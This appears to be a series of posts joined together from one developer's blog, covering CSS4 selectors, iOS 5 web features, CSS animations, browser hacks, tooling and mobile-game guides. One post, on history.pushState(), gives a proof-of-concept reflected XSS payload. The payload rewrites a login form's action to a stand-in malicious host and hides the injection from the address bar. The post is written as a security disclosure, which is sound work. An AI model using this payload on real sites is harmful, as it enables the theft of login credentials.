Table of Contents

• Parent Selector
• UI States pseudo-classes
• Tree-Structural pseudo-classes
• Logical Combinations
• Reference Combinators
• Media Queries Level 4
• CSS3 Namespaces
• New Properties for Borders
• Resources

Parent Selector

This is the magical selector many developers have been craving for. Earlier there hasn’t been an option to select the parent of an element. In CSS4 this is possible.

Parent selector was earlier proposed to be declared by using “$” rule, eg. $fieldset input:focus. At the moment it is proposed that the rule is following:

fieldset! > input:focus {
  background-color:yellow;
}

If you’re interested in starting to use parent selector today, check jQuery-powered polyfill: cssParentSelector for it.

UI States pseudo-classes

UI states pseudo-classes are meant to target different states an element can have. These are defined in CSS Basic User Interface Module, which have been moved into CSS4 proposal. Some of them, like :enabled and :disabled are already specified in CSS3, while others, like :valid and :invalid are new pseudo-classes in CSS.

Here is the list of UI states pseudo-classes:

• :enabled / :disabled
• :checked
• :indeterminate
• :default
• :valid / :invalid
• :in-range / :out-of-range
• :required / :optional
• :read-only / :write-only

Most of them are self-explanatory, but you can read more detailed description from the draft.

Tree-Structural pseudo-classes

Tree-structural pseudo-classes (eg. :nth-child() and :nth-of-type()) has now two new pseudo-classes: :nth-match() and :nth-last-match().

What :nth-match() actually is? It’s very similar to the logic with :nth-child().

:nth-match(an+b of selector-list) notation represents an element that has a parent and has an+b-1 siblings that match the given selector-list before it in the document tree, for any zero or positive integer value of n.

In practice, :nth-match matches with the given selector-list while :nth-child matches with the given selectors children elements. This happens by including of keyword in selector. If you have the selector input:nth-match(even of :enabled), it will first match the subset of input elements that are enabled and then match the even elements from that subset.

Logical Combinations

Logical Combinations consists of two pseudo-classes: :matches() and :not(). The behavior of “Negation pseudo-class” :not() is most likely clear to you – eg. input:not(:disabled) matches with all the input elements that are not disabled. But :matches() might be a bit more strange:

Matches-Any pseudo-class

The :matches() pseudo-class is the standardised version of Mozilla’s :-moz-any() pseudo class. This is useful for when you need a number of similar selector strings, but change one part such as the pseudo-classes.

Instead of writing a:hover, a:focus, a:active, one can write a:matches(:hover, :focus, :active) for same result.

Reference Combinators

Reference combinators allow you to select elements that are referenced by ID by another element. This is better to be explained in practice:

The following example highlights an input element when its label is focused or hovered-over:

label:matches(:hover, :focus) /for/ input { /* association by "for" attribute */
    box-shadow: yellow 0 0 10px;
}

Media Queries Level 4

While writing this article, first draft of Media Queries Level 4 was published. Unfortunately I won’t be writing more about Media Queries in this article, I just suggest reading the draft :).

Namespaces

Namespaces are actually proposed in CSS(3) Namespaces Module, but it’s written pretty much the same time as first proposal of CSS4. And CSS4 proposal is heavily referring to the namespaces, so I feel this one is good to go through when speaking of CSS4.

CSS Namespaces has quite simple syntax. The @namespace declares a namespace prefix and associates it with a given namespace name, and “vertical bar” works as a selector delimiter. Consider following example:

@namespace "http://www.example.com";
@namespace foo "http://www.example.com/foo";

h1 { font-size: 42px; } /* Belongs in example.com */
|h1 { font-size: 36px; } /* Belongs eg. in example.com/bar */
*|h1 { font-size: 32px; } /* Belongs in both namespaces */
foo|h1 { font-size: 28px; } /* Belongs in example.com/foo */

New Properties for Borders

Some new properties for borders are introduced in CSS4. The most obvious one is border-corner-shape, which allows values curve | bevel | scoop | notch. In addition, there are updates on border-images.

For further reading, see CSS Backgrounds and Borders Module Level 4.

Resources

I have to admit that there is lot more in CSS4 Working Draft than it’s included in this article. Therefore I suggest you all to read following resources I’ve gathered about CSS4:

• W3C: CSS Selectors Level 4
• W3C: CSS Selectors Level 4 – Editor’s Draft
• W3C: CSS Backgrounds and Borders Module Level 4 – Editor’s Draft
• W3C: Media Queries Level 4 – Editor’s Draft
• Presentation Slides: CSS4 and the Future of CSS
• Meet the CSS4 Selectors
• What’s Slated for CSS4 Selectors
• CSS4 Preview – Selectors
• CSS4 Sneak Peak
• CSS4 Resources
• cross-fade() example

Table of Contents

• -webkit-overflow-scrolling
• position:fixed
• New Input Types
• WOFF Font Support
• Web Workers API
• contentEditable
• classList API
• matchMedia()
• Changes in Gestures Events
• Compass
• WebGL
• Anything Else?

-webkit-overflow-scrolling

This is probably most anticipated feature for web applications. Until today it hasn’t been easily possible to add scrollable content in web document.

Briefly, all you need to define is:

elem {
 overflow:scroll;
 -webkit-overflow-scrolling:touch;
}

To achieve proper scrolling support for iOS 4 and/or other devices, I strongly suggest using iScroll 4.

And if you want to display scrollbars all the time, read this post: Force Lion’s scrollbar back. It will help you on displaying the scrollbar while user is not accessing the scrollable area, which is a very good visual guidance for user that content can be scrolled. But be warned: “custom” scrollbar won’t update it’s location while user is scrolling and meantime there are two scrollbars displayed.

position:fixed

Position:fixed is well-known CSS property that hasn’t earlier been included in iOS. But now it’s there, ready to use.

I noticed that setting a fixed element it has partial transparency by default. You even can’t turn it off by setting opacity to 1.0. If you happen to know how to solve this, please comment on my blog.

New Input Types

iOS5 provides several new input types that didn’t exist earlier on iOS4. These input types are: date, time, datetime, month and range.

I have to mention that the user experience with range is awful – with your (fat) finger you end up selecting the whole control instead of value slider all the time.

Note: input type=”file” isn’t still working. “Choose File” button is displayed, but at the same time it’s disabled.

WOFF Font Support

iOS 5 supports WOFF (Web Open Font Format) fonts. This is good news in a way. I haven’t personally tested whether there’s any benefit compared to SVG or TTF from a rendering or performance point-of-view.

Web Workers

Web Workers API is a bit less familiar for many developers. They allow to run long-running scripts without halting the user interface and they’re not interrupted by other actions.

The problem with Web Workers on iOS 5 is – as you may guess – the perfomance. You can try Web Workers with Javascript Web Workers Test. But I have to mention that while it took only about five seconds with my workstation, the same execution time with my iPhone 4 was 106 seconds. So as you can see, there’s a huge difference on performance.

contentEditable

iOS 5 supports contentEditable attribute, which allows rich text editing (RTE) of content. This is very welcomed feature offering the possibility of building WYSIWYG editors that can be used eg. with iPad.

Read more about this feature at: WYSIWYG Editing (contentEditable support) in iOS 5.

classList API

ClassList API is very useful while writing native JavaScript. It has few simple functions (like add(), remove(), toggle()) that are meant for handling classNames in an element.

If you want to implement classList API and ensure backwards compatibility, use classList.js polyfill, written by Eli Grey.

matchMedia()

Function matchMedia() is relatively new function for detecting media queries with JavaScript. The implementation is very simple:

if (matchMedia("(min-width: 1024px)").matches) {
    alert('your screen is at least 1024px wide');
}
else {
    alert('your screen is less than 1024px wide');
}

Can’t say how useful that is yet, since I’ve personally never used it before. But we’re living the times of Responsive Web Design and there may be conditions where this may be needed.

For browsers that doesn’t support matchMedia(), there is a matchMedia.js polyfill available, written by Paul Irish.

And if you’re more interested in similar logic, I suggest reading about yepnope.js.

Changes in Gestures Events

Gestures events (gesturestart, gesturechange, gestureend) now returns pageX and pageY values for events – in addition to scale and rotate values. These values didn’t exist in iOS4, forcing developer to retrieve X/Y-coordinates with corresponding touch events.

Compass

iOS 5 comes also with two neat properties: webkitCompassHeading and webkitCompassAccuracy. You can read more about them and test them at: Taking a new device API for a spin.

WebGL

Well… WebGL is kind of implemented in iOS5. But only for iAd.

However there are rumors promising good, and already it’s said that “things are in place” but they’re just not fully working (or have been disabled). So, let’s keep our fingers crossed that next (minor) update will include support for WebGL.

Anything Else?

Mark Hammonds has written a comprehensive article in mobiletuts+, titled iOS 5 for Web Devs: Safari Mobile Updates. That’s really worth of reading!

And if you’re interested in browser performance in general, then you should read iOS 5 Top 10 Browser Performance Changes.

If there are other things to mention, feel free to comment and bring your ideas up. I’ll keep on updating this post right after new information arises about iOS 5.

Foreword

[tweetmeme]

This article won’t help with the basics and all the details of CSS Keyframes. If you’re unfamiliar with keyframes, I strongly suggest reading Smashing Magazine’s article “An Introduction To CSS3 Keyframe Animations”.

If you’re also unfamiliar with CSS Transitions, you can also read my article “CSS3 Transitions – Are We There Yet?”.

It’s good to notice that there already exists tools for creating proper CSS Animations, like Animatable that are worth of checking. Especially, if you’re not that much of a fan writing endless keyframes rules and css declarations

Browser Support

I’ve tested this example with recent builds of Google Chrome, Firefox 5 Beta, iPhone 4 / iPad and Android 3.1 with Browser (Chrome) and Firefox Beta. So, if you’re viewing this article with any of those, then you’re good to go.

There are indications that also Opera will support CSS Animations in near future. Let’s see when that will be. However, Internet Explorer won’t be supporting CSS Animations – they’re not even supporting CSS Transitions yet.

The Icon

In this example we’ll build an icon with separate head, body and background. We’ll add some movement with keyframes to each object while trying to achieve as realistic result as possible without too much of an effort.

The character icon in demonstration is from Battleheart, developed by Mika Mobile.

The Head

We start by defining the behavior of an animation for the head. This is done by defining a keyframes rule called “breathe-head”.

@-webkit-keyframes breathe-head {
    0% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
    40% {
        -webkit-transform: rotate(-3deg) translate3d(-2px, -1px, 0px);
    }

    100% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
}

NOTE: I’m using property called translate3d for moving the head slightly backwards. It’s good to understand that only transformable properties (+ opacity) can be animated with hardware acceleration. Translate3d(0,0,0) is good to have to ensure hardware acceleration of animations even if it’s not needed for any other use. I’ve even encountered many situations where animation performance hasn’t been smooth eg. on iOS Web Applications until (over)usage of translate3d().

Twice the Fun!

For some (unknown) reason, it isn’t possible to add -moz-keyframes rule at the same declaration, so we need to declare keyframes rules again:

@-moz-keyframes breathe-head {
    0% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
    40% {
        -moz-transform: rotate(-3deg) translate(-2px, -1px);
    }

    100% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
}

I’m not using translate3d() since it seems Firefox only understands translate(). But it’s good enough for performance since it should be also hardware accelerated on Firefox.

The Body

Next, we’ll animate the body of the character. We don’t need any wildly bouncing animation since we’re operating with an (small) icon. Constant movement has to be subtle or otherwise it can start to irritate users:

@-webkit-keyframes breathe-body {
    0% {
        -webkit-transform: translate3d(0px,0px,0px);
    }

    40% {
        -webkit-transform: translate3d(0px,-3px,0px);
    }

    100% {
        -webkit-transform: translate3d(0px,0px,0px);
    }
}

And the same rules needs to be applied for -moz-keyframes like we did with the head.

The Background

I wanted to add something more to a movement and decided to draw a subtle background “sun” which keeps rotating behind the character:

@-webkit-keyframes rotate-bg {
    0% {
        -webkit-transform: rotate(0deg);
    }
    100% {
        -webkit-transform: rotate(360deg);
    }
}

Rotating background is very straight-forwarded; we rotate it once per timeline we’ll define later on.

Keyframes are Done – What Next?

Now that we’ve defined keyframe rules, we must take them into use:

.character {
    -webkit-animation: breathe-body 3000ms infinite both ease-in-out;
    -moz-animation: breathe-body 3000ms infinite both ease-in-out;
}

.character .head {
    -webkit-animation: breathe-head 3000ms infinite both ease-in-out;
    -moz-animation: breathe-head 3000ms infinite both ease-in-out;
}

.rotating {
    -webkit-animation: rotate-bg 30s infinite linear;
    -moz-animation: rotate-bg 30s infinite linear;
}

I’m using short-hand declarations, and eg. for .character .head we declare: “Use breathe-head keyframe rules in a three seconds long loop which last infinite time and is animated with in-out easing equation”.

Value “both” stands for animation-fill-mode should define the status of first and last keyframe. But in my case I didn’t notice anything special when I trying other possible values “forwards” or “backwards” (this could be since both start and end keyframe has similar values).

The End Result

I needed to declare more CSS for getting things in correct place. But the example code above is practically the soul and heart of the animation. But here is the end result of an animated wizard icon:

How do you like it? It’s my first animation ever :).

Disclaimer

The purpose of this article is to provide help for players who can’t find new missions to complete (which seems to be quite common case). This article is inofficial and doesn’t contain any strategic advices.

Notice that game is changing all the time since it’s in beta. There are new missions appearing while some of the older missions may disappear. Therefore this list can be outdated on some parts.

This article will constantly update when I receive new information of there is an update made on Gunshine itself.

Last update is made on 26th of May, 2011.

A big thanks for following contributors:

• Nina (a3)

How to Read?

• Name – the mission name,
• Level – the level of enemies, or the area where mission is located,
• Where to Get – the area where mission can be get,
• XP – the experience gained after completing the mission,
• Money – the money gained after completing the mission.

Table of Quests / Missions on Dawnbreak City

Table of Quest / Missions on Islands

My case was about font-size and letter-spacing on Opera (11.10). Opera was displaying selected font way too big to fit in allowed space and I needed a hack to fix this issue.

Opera 9 and below

This is pretty straight forward and well known hack:

html:first-child p
{
    font-size:12px;
}

The real issue, in my case, was how to target newer and modern Opera versions 10 and 11.

Opera 10 and above

The answer is in media queries. Earlier this was obvious hack while no other browsers supported media-queries properly. However, nowadays more and more browsers support it and therefore we need to tweak the conditions a little:

@media not all and (-webkit-min-device-pixel-ratio:0) {
    p {
        font-size:12px;
    }
}

I’ve validated this with Opera 10.5 and Opera 11. I also checked on Chrome 11, Chrome 12, Firefox 3.6, Firefox 4.0, Safari 5 and IE 8 that it doesn’t affect on them.

Edit: I haven’t tested this on Opera 9 or earlier, but according to other resources, this hack should work on those browsers too.

Conclusion

It’s still possible to write browser-specific hacks but it’s getting more and more complex all the time. In this case we’re using a hack that is actually targeted to WebKit browsers to get them excluded from the media query hack. However, there is no confidence that this hack would work on Opera 12 or next versions of Safari or Chrome would behave as expected.

And big thanks goes to an article CSS Hack or New CSS File for Problematic Browsers? and Is There Any Dedicated CSS Hacks For Safari or Opera?.

Differences Between Aptana 3.x and 2.x

The first thing to note is that Aptana Studio 3 doesn’t have similar plugin-based view than Aptana 2. After certain time of unsuccessful googling I figured out that proper keyword isn’t “aptana”, it’s “eclipse”.

In order to install new plugins (or software), you have to do it via Help » Install New Software.

Installing JSLint

Unlike in Aptana Studio 2, version 3 doesn’t have JSLint located as a validator in Aptana’s JavaScript preferences (if I’m running false configuration or doing something really wrong, please comment :)). However, Rockstarapps is offering tools which also includes JSLint.

The problem I had with Rockstarapps was that it doesn’t look very trustworthy (blank site etc). But with little googling I found a resource for installing software at: http://update.rockstarapps.com/site.xml.

After you’ve added Rockstarapps resource to work with, you’ll see a list of tools on a window below, including JSLint. Go ahead and install these.

Using JSLint

After installation I was happy to start using JSLint. I searched for numerous places in order to configure and / or to run JSLint. This was frustrating and I already stopped searching since I still wasn’t feeling too confident about Rockstarapps.

On one day, I accidentially noticed that when I right-clicked on JavaScript file, context menu included an option “Rockstarapps” with sub-option “Validate with JSLint”. That was it – JSLint was finally there, ready for use :).

Conclusion

I’m a kind of person that can be considered as an eternal beginner (or even stupid :p) when configuring applications and tools. But I know there are many others on a very similar position with me (according to my earlier experience and the amount of Stackoverflow + other rant encountered while googling). So I definitely hope this post really helps someone struggling with same problems than I did.

External Resources

• Undefined is not a function: “JSLint with Eclipse”
• Ajaxian: “RockstarApps’ Web Optimization plugins for Eclipse and Aptana”

[tweetmeme]

Today while traveling with a bus, I came across a bit unexpected behavior when I tried to stop the bus.

Expected Interaction

Briefly, while interacting with something it should at least produce information that a) it can be interacted with, b) it reacts on interaction and c) it confirms the result of an action was like intended.

In my case this means that a) there are red stop buttons labeled “stop”, “push”, “press” etc. , b) these buttons reacts physically while pressed and c) I receive a sound and / or visual notification that my action had a reaction.

What I Experienced

This is what actually happened: there was a digital display, which would show a word “stop” when stop button is pressed. This display was empty at the moment, so I pressed one of the stop buttons which reacted normally. But nothing happened. No “stop” on display, no sound. Nothing.

It’s quite obvious that either the button is broken or both the display and the sound speaker is broken. But since I remembered hearing a sound notification earlier on the trip, I was convinced that this very button was broken.

Since my bus stand was already close I dived onto next button and pressed it. Same resolution: nothing happened.

Well, tough luck.. until I suddenly noticed that the display has word “stop” on it. Hooray! Someone else had actually succeeded to perform the simple task I was unable to do.

Then again, the “stop” disappeared from the screen. It took about four seconds and the word “stop” was there again.

A blinking stop sign? A blinking stop sign with about four second intervals? And the sound notification only on first press (apparently someone else had pressed the button before me).

I was just unlucky not to watch the display just while it was actually displaying the text. Practically that meant 15-20 seconds of uncertainty will the bus stop or not.

Why?

But the actual question I had in my mind was: what was the added value by having a very slowly blinking stop button? What was the person behind design actually trying to achieve?

history.pushState()

[tweetmeme]

history.pushState() was introduced in HTML5 and it’s meant for modifying history entries.

By using pushState() we’re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn’t it?

The Harmful Part

The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can’t be replaced, we can completely change the pathname.

So, I made a brief PoC about hiding a non-persistent XSS exploit. It’s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.

Proof of Concept

This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.

pushState() works properly also in Safari 5, but it’s security control refuses to load external scripts or execute injected scripts.

I’ll inject some malicious code via query parameter: ?username=”><script>(history.pushState({},”,’index.php’))(document.forms[0].action=’http://maliciousURL’)</script>

As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): http://bit.ly/pushStateXSS.

Just visit this URL to see how pushState() behaves and what is shown in address bar.

Conclusion

Can this be considered as a security flaw? – Definitely yes.

How it should be fixed? – There should be a property, eg. history.allowPushState which would be set to false by default. And website developers could explicitly set it to true while being aware of the risks. Edit: I’ve received some feedback about this. And you’re right – this wouldn’t fix anything since it could be set to true in injection. I wasn’t thinking this thoroughly :).

Note: I’m taking advantage of this technique in my //bit.ly/xss_1, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after “?” from the URL in address bar.

[tweetmeme]
The snippet, Session.js, works on all modern browsers that support JSON natively. And if you want to extend it to work on browsers like Internet Explorer 6, you can use custom JSON implementation (eg. Sitepoint: Cross-browser JSON Serialization in JavaScript).

The reason I wrote this is simple – sometimes you just want to persist client-side variables during the whole session. In general, cookies are OK, but I personally dislike them to be used as very temporary data storages. I just don’t want to pollute cookie with (secondary) data that isn’t ever meant to be used after the session. Beside, cookies do not accept larger quantities of data.

Therefore I’m using window.name property. This property will exist during the whole session, and is automatically emptied when user closes the window or moves to another domain.

There are also other implementations of the very same topic, such as Thomas Frank’s sessvars.

I’ll write another post later to demonstrate this snippet in real use.

Methods

There are following methods:

Session.setVar(string name, mixed value)

This sets the variable. You can add any type of value (number, string, boolean, object).

Session.getVar(string name)

This returns the variable. If such variable doesn’t exist, this returns false.

Session.removeVar(string name)

This removes the variable. If such variable doesn’t exist, this returns false.

Session.subscribe(string name, function callback)

This attaches a function to the variable. So whenever variable is set on the document, or is already set earlier during session, subscribed functions are fired. However, function won’t be fired when variable is removed, but the function itself will stay attached on the variable and fired if the variable is set again.

You can add a “namespace” for functions to distinct them for unsubscribing. This is done by adding a period on variable name: Session.subscribe(“foo.alertVariable”, function() { alert(Session.getVar(“foo”); });.

Session.unsubscribe(string name)

This simply unsubscribes certain function attached to the variable, eg Session.unsubscribe(“foo.alertVariable”).

Source Code

You can get the source code from here.

There is also very small demonstration available in here.

Please notice this article is outdated, after the client and game mechanics were renewed on May 2011!

I strongly suggest reading STARTERS GUIDE at Shadow Cities forum instead of this article.

[tweetmeme]

These advices are unofficial and made from personal perspective. By the way, I’m playing with character called “Macaco” for the Architects.

Last updated on 13th of Nov, 2010

Table of Contents

• Read the Help Section
• About the Terminology
• What is Mana?
• How Do I Gain Experience?
• What Are the Captured Spirits?
• How to Kill Other Players?
• How to Research?
• How to Collect Energy?
• What Should I Build, And Why?
• What is Warping?
• What Spells Should I Choose?
• Closing Words

Read the Help Section

Shadow Cities has a brief and clear help section, which you really should read before starting your career as a mage. It can also be found online from Shadow Cities Help Section.

Seriously, read it.

About the Terminology

Teams

You’ll belong either on the Architects or the Animators. On daily basis, your side will mostly affect on how you’re able to travel (or warp) in your area without moving physically. On weekly basis, there are different kind of campaigns where both teams compete against each other.

Hitpoints

Mages don’t have hitpoints, only spirits do. This means neither you can’t get killed, nor can the other mages. Every time a mage is hit, he’ll lose (only) mana.

Mana

Whenever you want to do something cool, you’ll need mana for that.

Experience

In order to get on next level, you need to gain experience. The best way to gain experience is to kill spirits.

Spirits

Spirits are the non-player characters of the game, which you’ll hunt down and kill until your screen has a greasy Z figure on it. And then you’ll kill some more.

Energy

Energy can be considered as “experience points of the team”. It seems there will be different kind of contest every week between teams and the amount of collected energy is in important role. The main resource for energy are the dominators.

Warping

This is how you travel inside the game. Or of course you can travel physically, but by warping you’ll get to different places very quickly. Warping back and forth doesn’t consume any mana.

Buildings

There are different kind of buildings, and the dominators are the most important ones. These towers has several meanings which you can find out by reading through the help section.

Power

Power is needed in order to build specific type of buildings. Dominators are generating power, while other type of buildings are consuming it.

Energy Gateways

These are burning flames around the realm. They can be conquered by attaching dominators to them. They also can be bought with mana bottles, making the buyer as the Shadow lord of the realm (the close surroundings).

What is Mana?

On the bottom left corner of the main view, there’s a blue bottle and a tiny meter. This is your mana. Good thing to remember is that nearly every action requires mana in some way.

The meter will show much mana you’ve charged with, and the number above the bottle displays the amount of mana bottles. One bottle will recharge your mana completely. Full charge of mana will be enough for 3 – 4 war spells.

Mana bottles are also the currency in the Shadow Cities. This is quite important to realize. Don’t use bottles for recharging whenever you’ve time to wait. Mana will automatically regenerate, but the bottles won’t. Therefore it’s the best way just to wait for recharging. Trust me, you’ll eventually end up in a situation where you’ll curse yourself for spending mana bottles in vain.

There are three ways to gain more mana bottles: 1) buying them from App Store, 2) researching (see “What Are the Captured Spirits?”) and 3) by completing tasks (little yellow exclamation or question mark on bottom right of the screen).

How Do I Gain Experience?

The best way to gain experience is by killing spirits. There are different kind of spirits, but most of them are quite easy catches (Rank 1).

Spirits are flying around and will not attack you until you’ve first attacked them. You should definitely go after them whenever you’ve got enough mana to throw at least two war spells.

It’s not cool either to kill a spirit someone else is trying to kill. No matter if he’s an Architect or an Animator. The amount of experience is nothing compared the amount of disrespect you gain.

What Are the Captured Spirits?

After you kill a spirit, it’s captured. The list of captured spirits can be found by pressing the white Shadow Cities icon on the bottom right. And on the sub menu, go for the yellow icon on the top left.

There are 12 different kind of spirits in total, with three different colors (red, green, blue) and four different houses (Dannan, Drioma, Inrik, Tiermes).

There are two things that makes some spirits more worthy than others: 1) spirits have different values (marked with stars) and 2) some type of spirits are used to research mana bottles.

Captured spirits can be used for generating energy. The value (no star, one star, three star) defines the amount of energy you’ll generate while donating the spirit. They can also be used for researching mana bottles.

The point here is to focus on more valuable spirits and / or spirits that can be used for researching. I’ve noticed that more valuable spirits (especially three stars on them) are harder to capture, but you’ll also gain more experience by killing them. So, I definitely recommend hunting down these certain type of spirits.

How to Kill Other Players?

Never ever go after other players! It just doesn’t make sense. At the moment, other players can’t be killed (I personally hope this get changed). They’ll only lose their mana – and so do you. If you encounter an hostile situation you should just warp away.

Only reasonable situation for attacking opponent players is when they’re trying to destroy your buildings. However, it’s easy for them to logout and come back later with recharged mana and continue the destruction. But at least you’ve tried your best :).

How to research?

You can research by selecting yellow character icon from top left and then the mana bottle from sub menu. In research menu you see three headers labeled as “Research”, “My Public Projects” and “Other Public Projects”.

Currently it seems that “Red Dannan”, “Green Drioma” and “Blue Inrik” are used for researching purposes. I don’t know whether this will change on some interval.

You should check what type of spirits you have for researching purposes from “Research” view. But don’t start your own project yet. Instead you should check through ongoing public projects whether you can contribute to them.

Every mage who participates on research project will gain one mana bottle. If they participate by adding multiple type of spirits they still gain only one bottle. Therefore it makes no sense to contribute with more than one spirit.

When you start your own project, it will appear as public project, but only to your friends. However, when you participate on a project created by someone else, this project will be seen only by his friends.

How to Collect Energy?

The dominators are the main source of energy. Dominators will slowly generate energy, and when they’re filled with energy, a red circle will appear around them and you can harvest the energy. You’re also capable of harvesting your team members dominators. Another way to collect energy is to donate captured spirits (see above).

You’ll also gain (or rob) energy when destroying opponents dominator which is fully charged. It’s extremely rewarding when you stumble upon a field of opponent dominators.

It’s rather important to collect energy. Energy will help your team to win the weekly campaign. And you’ll be rewarded according to the energy you’ve collected.

What Should I Build, And Why?

Build dominators. Focus on building the dominators. And harvest the dominators as often as possible.

Distribute dominators. The amount of power generated by dominators doesn’t depend on the location of dominator. In addition, your dominators will generate more energy in average when they’re distributed to different gateways. One dominator per player, per gateway will generate 12 energy points, while two of them will generate only 8 points each. If you connect eg. five of your dominators to a single gateway, they’ll generate only five energy points each.

Always destroy enemy dominators when you encounter them. This is the situation where mana bottles are essential because you really want to get rid of them all. At the moment it seems not many players are fully aware of this. By destroying opponent’s dominators you both gain experience and harm their infrastructure.

You’ll find out the meaning of all the other buildings while you’re progressing on the game. But the dominators are the constitution of the game.

What is Warping?

In order to get easily on different places, you’ll need to warp. Whenever there’s something that belongs to your team, you can warp on it. That is very good thing to remember.

It’s possible to warp longer distances. This is done through beacons, a specific type of building which has to be built by someone. You can see the available beacons by entering into expanded view by clicking on the white Shadow Cities on the bottom right, and then on the submenu, click the white cloud icon on bottom left.

What Spells Should I Choose?

I have no straight answer on this, so I’ll make a good guess:

• Upgrade your war spell first
• Catchers are excellent for capturing loads of (both common and rare spirits). I recommend learning this spell on second.
• Ability to heal makes you feel like a good mage when you’re donating your mana to other players. However, at the beginning it’s useless for healing buildings while most of them can be destroyed with couple of war spells
• You won’t be needing beacons in the beginning. They consume lots of power while they won’t provide you any value. Don’t go for them.
• Traps are always cool. But lower level spell is quite useless, since the trap can be destroyed with one or two war spells

So in general, consider evolving only in the war and catcher spells. They are the spells you’ve personally needing most. Your team will need you, but not when you’re on level 5.

Closing Words

I just hope this helps you to get started. Playing Shadow Cities isn’t that complicated. But I’ve heard some of the new players complaining about the icons and terms that they’re not self explanatory, and you easily end up wandering and doing something meaningless. But it’s good to remember that the game is in beta phase and at least I do think the game will evolve from this point.